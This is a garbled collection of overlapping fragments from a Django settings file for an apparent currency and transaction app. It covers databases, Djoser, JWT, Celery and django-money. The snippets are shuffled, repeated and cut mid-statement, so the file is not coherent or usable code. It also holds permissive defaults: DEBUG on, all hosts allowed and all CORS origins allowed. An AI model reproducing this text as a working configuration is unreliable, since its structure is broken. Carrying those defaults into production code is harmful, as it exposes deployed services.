ROOT_URLCONF = 'project.urls' TEMPLATES =", "# https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'),", "import timedelta from celery.schedules import crontab from django.utils.translation import gettext_lazy", "default='<KEY> ) # SECURITY WARNING: don't run with debug turned", "# Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME':", "# * updating their email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL':", "os.environ.get('SQL_PORT'), } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS =", "'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware' ] ROOT_URLCONF = 'project.urls'", "default='*').split(\" \") # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth',", "# ------------------------------------------ # DJOSER = { # Name of a", "BASE_DIR / 'locale', ) TIME_ZONE = 'UTC' USE_I18N = True", "to click activation # link sent in email after: #", "example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") #", "[], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth',", "{ 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], }, },", "CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE", "'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig',", "'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST':", "= True USE_TZ = True # Static files (CSS, JavaScript,", "should be a single string of hosts with a space", "= { 'default': { 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR,", "(CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\" STATIC_ROOT =", "True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL': 'eamil/reset/confirm/{uid}/{token}', # If True,", "'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',", "# DJOSER = { # Name of a field in", "] WSGI_APPLICATION = 'project.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES =", "} # ------------------------------------------ # # Django REST Framework # #", "between each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS =", "[ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, {", "# ------------------------------------------ # # Simple JWT # # ------------------------------------------ #", "['application/json'] CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE = {", "# Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL =", "= ['application/json'] CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE =", "an account # * updating their email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL':", "each. # For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\",", "MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'corsheaders.middleware.CorsMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware'", "= [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS':", "/ 'locale', ) TIME_ZONE = 'UTC' USE_I18N = True USE_L10N", "Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages',", "field in User model to be used as login field", "USE_TZ = True # Static files (CSS, JavaScript, Images) #", "# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, {", "don't run with debug turned on in production! DEBUG =", "in production! DEBUG = int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS' should be", "send confirmation email to user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': { 'user_create':", "'email', # If True user will be required to click", "= 'project.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default':", "= os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json']", "True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ],", ") TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True", "'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware',", "JWT # # ------------------------------------------ # SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5),", "{ 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors':", "'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ]", "= 'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>' # ------------------------------------------", "[ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], }, }, ] WSGI_APPLICATION", "# If True user will be required to click activation", "'django_filters', 'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig'", "link sent in email after: # * creating an account", "'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ # # django-money # # ------------------------------------------ #", "DATABASES = { 'default': { 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE',", "'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ------------------------------------------ # # djoser #", "('uk', _('Ukrainian')) ] LOCALE_PATHS = ( BASE_DIR / 'locale', )", "} # ------------------------------------------ # # djoser # # ------------------------------------------ #", "------------------------------------------ # # Celery # # ------------------------------------------ # CELERY_BROKER_URL =", "# ------------------------------------------ # SIMPLE_JWT = { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1),", "os from pathlib import Path from datetime import timedelta from", "# # django-money # # ------------------------------------------ # DEFAULT_CURRENCY = 'EUR'", "import Path from datetime import timedelta from celery.schedules import crontab", "'project.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': {", "[::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") # Application definition INSTALLED_APPS", "True USE_L10N = True USE_TZ = True # Static files", "'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), } } # Password", "click activation # link sent in email after: # *", "DJOSER = { # Name of a field in User", "'PASSWORD_RESET_CONFIRM_RETYPE': True, # If True, register or activation endpoint #", "= os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ # #", "Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\"", "), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json',", "'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', } # ------------------------------------------ # # djoser", "* updating their email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}',", "'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD':", "# # ------------------------------------------ # DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend'", "= 'uk' LANGUAGES = [ ('en', _('English')), ('uk', _('Ukrainian')) ]", "'django.contrib.messages.context_processors.messages' ], }, }, ] WSGI_APPLICATION = 'project.wsgi.application' # Database", "timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 'id', 'USER_ID_CLAIM': 'id', }", "sent in email after: # * creating an account #", "from django.utils.translation import gettext_lazy as _ # Build paths inside", "# ------------------------------------------ # REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ),", "# Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions',", "Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': os.environ.get('SQL_ENGINE',", "Framework # # ------------------------------------------ # REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': (", "register or activation endpoint # will send confirmation email to", "field 'LOGIN_FIELD': 'email', # If True user will be required", "'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT':", "True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, # If True, register or activation endpoint", "------------------------------------------ # # django-money # # ------------------------------------------ # DEFAULT_CURRENCY =", "True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 'id', 'USER_ID_CLAIM': 'id', } CORS_ALLOW_ALL_ORIGINS =", "import crontab from django.utils.translation import gettext_lazy as _ # Build", "as _ # Build paths inside the project like this:", "# Django REST Framework # # ------------------------------------------ # REST_FRAMEWORK =", "DEBUG = int(os.environ.get('DEBUG', default=1)) # 'DJANGO_ALLOWED_HOSTS' should be a single", "'apps.account.apps.AccountConfig', 'apps.transaction.apps.TransactionConfig', 'apps.common.apps.CommonConfig', 'apps.authentication.apps.AuthenticationConfig' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware',", "[ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta',", "# endpoint, to validate password equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True,", "'DJANGO_ALLOWED_HOSTS' should be a single string of hosts with a", "CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER = 'json' CELERY_BEAT_SCHEDULE = { 'update_rates':", "'UTC' USE_I18N = True USE_L10N = True USE_TZ = True", "Celery # # ------------------------------------------ # CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND", "'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange', 'corsheaders', 'apps.account.apps.AccountConfig',", "pathlib import Path from datetime import timedelta from celery.schedules import", "# ------------------------------------------ # # django-money # # ------------------------------------------ # DEFAULT_CURRENCY", "login field 'LOGIN_FIELD': 'email', # If True user will be", "= [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', },", "used as login field 'LOGIN_FIELD': 'email', # If True user", "activation # link sent in email after: # * creating", "STATIC_ROOT = os.path.join(BASE_DIR, \"static\") EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ #", "email after: # * creating an account # * updating", "EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' # ------------------------------------------ # # django-money # #", "= 'project.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [],", "endpoint, to validate password equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, #", "{ 'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), } } # ------------------------------------------ #", "'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages' ], }, }, ] WSGI_APPLICATION = 'project.wsgi.application' #", "'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters', 'rosetta', 'djoser', 'djmoney', 'djmoney.contrib.exchange',", "= { 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',),", "account # * updating their email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}',", "djoser # # ------------------------------------------ # DJOSER = { # Name", "BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_KEY', default='<KEY> ) #", "'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER':", "celery.schedules import crontab from django.utils.translation import gettext_lazy as _ #", "( BASE_DIR / 'locale', ) TIME_ZONE = 'UTC' USE_I18N =", "'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER = 'json'", "INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework',", "'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'),", "( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler',", "------------------------------------------ # DJOSER = { # Name of a field", "WARNING: don't run with debug turned on in production! DEBUG", "} } # ------------------------------------------ # # Simple JWT # #", "validate password equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, # If True,", "'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), } } # ------------------------------------------ # #", "('en', _('English')), ('uk', _('Ukrainian')) ] LOCALE_PATHS = ( BASE_DIR /", "] ROOT_URLCONF = 'project.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates',", "'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ), 'EXCEPTION_HANDLER': 'apps.common.errors.custom_exception_handler', 'TEST_REQUEST_DEFAULT_FORMAT': 'json', }", "= os.environ.get( 'SECRET_KEY', default='<KEY> ) # SECURITY WARNING: don't run", "crontab from django.utils.translation import gettext_lazy as _ # Build paths", "} } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [", "paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR", "os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER", "True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL", "'SECRET_KEY', default='<KEY> ) # SECURITY WARNING: don't run with debug", "WSGI_APPLICATION = 'project.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = {", "'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, # If True, register or activation", "'default': { 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')), 'USER':", "'update_rates': { 'task': 'apps.user.tasks.update_rates', 'schedule': crontab(hour=\"*/1\"), } } # ------------------------------------------", "_('Ukrainian')) ] LOCALE_PATHS = ( BASE_DIR / 'locale', ) TIME_ZONE", "= [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'django_filters',", "EXCHANGE_BACKEND = 'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>' # ------------------------------------------ # #", "django-money # # ------------------------------------------ # DEFAULT_CURRENCY = 'EUR' EXCHANGE_BACKEND =", "= ( BASE_DIR / 'locale', ) TIME_ZONE = 'UTC' USE_I18N", "= os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER", "be a single string of hosts with a space between", "be used as login field 'LOGIN_FIELD': 'email', # If True", "'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL =", "the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent", "to validate password equality. 'USER_CREATE_PASSWORD_RETYPE': True, 'PASSWORD_RESET_CONFIRM_RETYPE': True, # If", "'djmoney.contrib.exchange.backends.FixerBackend' FIXER_ACCESS_KEY = '<KEY>' # ------------------------------------------ # # Celery #", "'PORT': os.environ.get('SQL_PORT'), } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS", "REST Framework # # ------------------------------------------ # REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES':", "email to user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer' }", "# Celery # # ------------------------------------------ # CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379')", "'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [", "activation endpoint # will send confirmation email to user. 'SEND_CONFIRMATION_EMAIL':", "'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 'id', 'USER_ID_CLAIM': 'id', } CORS_ALLOW_ALL_ORIGINS = True", "definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles',", ") # SECURITY WARNING: don't run with debug turned on", "'USER': os.environ.get('SQL_USER'), 'PASSWORD': os.environ.get('SQL_PASSWORD'), 'HOST': os.environ.get('SQL_HOST'), 'PORT': os.environ.get('SQL_PORT'), } }", "* creating an account # * updating their email 'SEND_ACTIVATION_EMAIL':", "will be required to click activation # link sent in", "= os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \") # Application definition INSTALLED_APPS = [", "True USE_TZ = True # Static files (CSS, JavaScript, Images)", "# Build paths inside the project like this: BASE_DIR /", "validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', },", "os.environ.get( 'SECRET_KEY', default='<KEY> ) # SECURITY WARNING: don't run with", "For example: 'DJANGO_ALLOWED_HOSTS=localhost 127.0.0.1 [::1]' ALLOWED_HOSTS = os.environ.get(\"DJANGO_ALLOWED_HOSTS\", default='*').split(\" \")", "{ 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME':", "confirmation email to user. 'SEND_CONFIRMATION_EMAIL': True, 'SERIALIZERS': { 'user_create': 'apps.user.serializers.UserCreateSerializer'", "}, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'authentication.User' #", "updating their email 'SEND_ACTIVATION_EMAIL': True, 'ACTIVATION_URL': '/activate/{uid}/{token}', 'PASSWORD_RESET_CONFIRM_URL': 'password/reset/confirm/{uid}/{token}', 'USERNAME_RESET_CONFIRM_URL':", "{ 'default': { 'ENGINE': os.environ.get('SQL_ENGINE', 'django.db.backends.sqlite3'), 'NAME': os.environ.get('SQL_DATABASE', os.path.join(BASE_DIR, 'db.sqlite3')),", "# # ------------------------------------------ # DJOSER = { # Name of", "TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True,", "you need to pass re_password to /users/ # endpoint, to", "JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = \"/static/\" STATIC_ROOT = os.path.join(BASE_DIR,", "------------------------------------------ # CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379')", "'LOGIN_FIELD': 'email', # If True user will be required to", "be required to click activation # link sent in email", "If True, register or activation endpoint # will send confirmation", "------------------------------------------ # # Simple JWT # # ------------------------------------------ # SIMPLE_JWT", "LANGUAGES = [ ('en', _('English')), ('uk', _('Ukrainian')) ] LOCALE_PATHS =", "os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT = ['application/json'] CELERY_RESULT_SERIALIZER = 'json' CELERY_TASK_SERIALIZER =", "{ 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL", "True, # If True, register or activation endpoint # will", "{ 'DEFAULT_PERMISSION_CLASSES': ( 'rest_framework.permissions.IsAuthenticated', ), 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.BasicAuthentication', 'rest_framework_simplejwt.authentication.JWTAuthentication', ),", "= True USE_L10N = True USE_TZ = True # Static", "# CELERY_BROKER_URL = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_RESULT_BACKEND = os.environ.get('REDIS_LOCATION', 'redis://127.0.0.1:6379') CELERY_ACCEPT_CONTENT", "{ 'user_create': 'apps.user.serializers.UserCreateSerializer' } } # ------------------------------------------ # # Simple", "'ACCESS_TOKEN_LIFETIME': timedelta(minutes=5), 'REFRESH_TOKEN_LIFETIME': timedelta(days=1), 'ROTATE_REFRESH_TOKENS': True, 'AUTH_HEADER_TYPES': ('JWT',), 'USER_ID_FIELD': 'id',", "'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'authentication.User'" ]
[ "\"Flask\" cfg = configparser.ConfigParser() cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug", "= \"Flask-debug\" if debug else \"Flask\" cfg = configparser.ConfigParser() cfg.read(dir_path", "debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section, \"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\")", "= cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port = cfg.getint(section,\"PORT\") self.host =", "self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port = cfg.getint(section,\"PORT\") self.host", "= os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section", "else \"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section, \"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page", "Configuration(object): def __init__(self,debug=False): section = \"Flask-debug\" if debug else \"Flask\"", "__init__(self,debug=False): section = \"Flask-debug\" if debug else \"Flask\" cfg =", "= cfg.getboolean(section, \"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port", "configparser.ConfigParser() cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section, \"DEBUG\")", "if debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section, \"DEBUG\") self.csrf_enabled =", "\"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port = cfg.getint(section,\"PORT\")", "cfg.getboolean(section, \"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port =", "import configparser import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini'", "= configparser.ConfigParser() cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section,", "+= '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = \"Flask-debug\" if", "cfg = configparser.ConfigParser() cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug =", "\"Flask-debug\" if debug else \"Flask\" cfg = configparser.ConfigParser() cfg.read(dir_path if", "self.debug = cfg.getboolean(section, \"DEBUG\") self.csrf_enabled = cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\")", "dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = \"Flask-debug\"", "else \"Flask\" cfg = configparser.ConfigParser() cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\")", "configparser import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class", "import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object):", "debug else \"Flask\" cfg = configparser.ConfigParser() cfg.read(dir_path if debug else", "section = \"Flask-debug\" if debug else \"Flask\" cfg = configparser.ConfigParser()", "cfg.read(dir_path if debug else \"/var/www/html/flaskApp/cfg.ini\") self.debug = cfg.getboolean(section, \"DEBUG\") self.csrf_enabled", "cfg.getboolean(section,\"CSRF_ENABLED\") self.threads_per_page = cfg.getint(section,\"THREADS_PER_PAGE\") self.port = cfg.getint(section,\"PORT\") self.host = 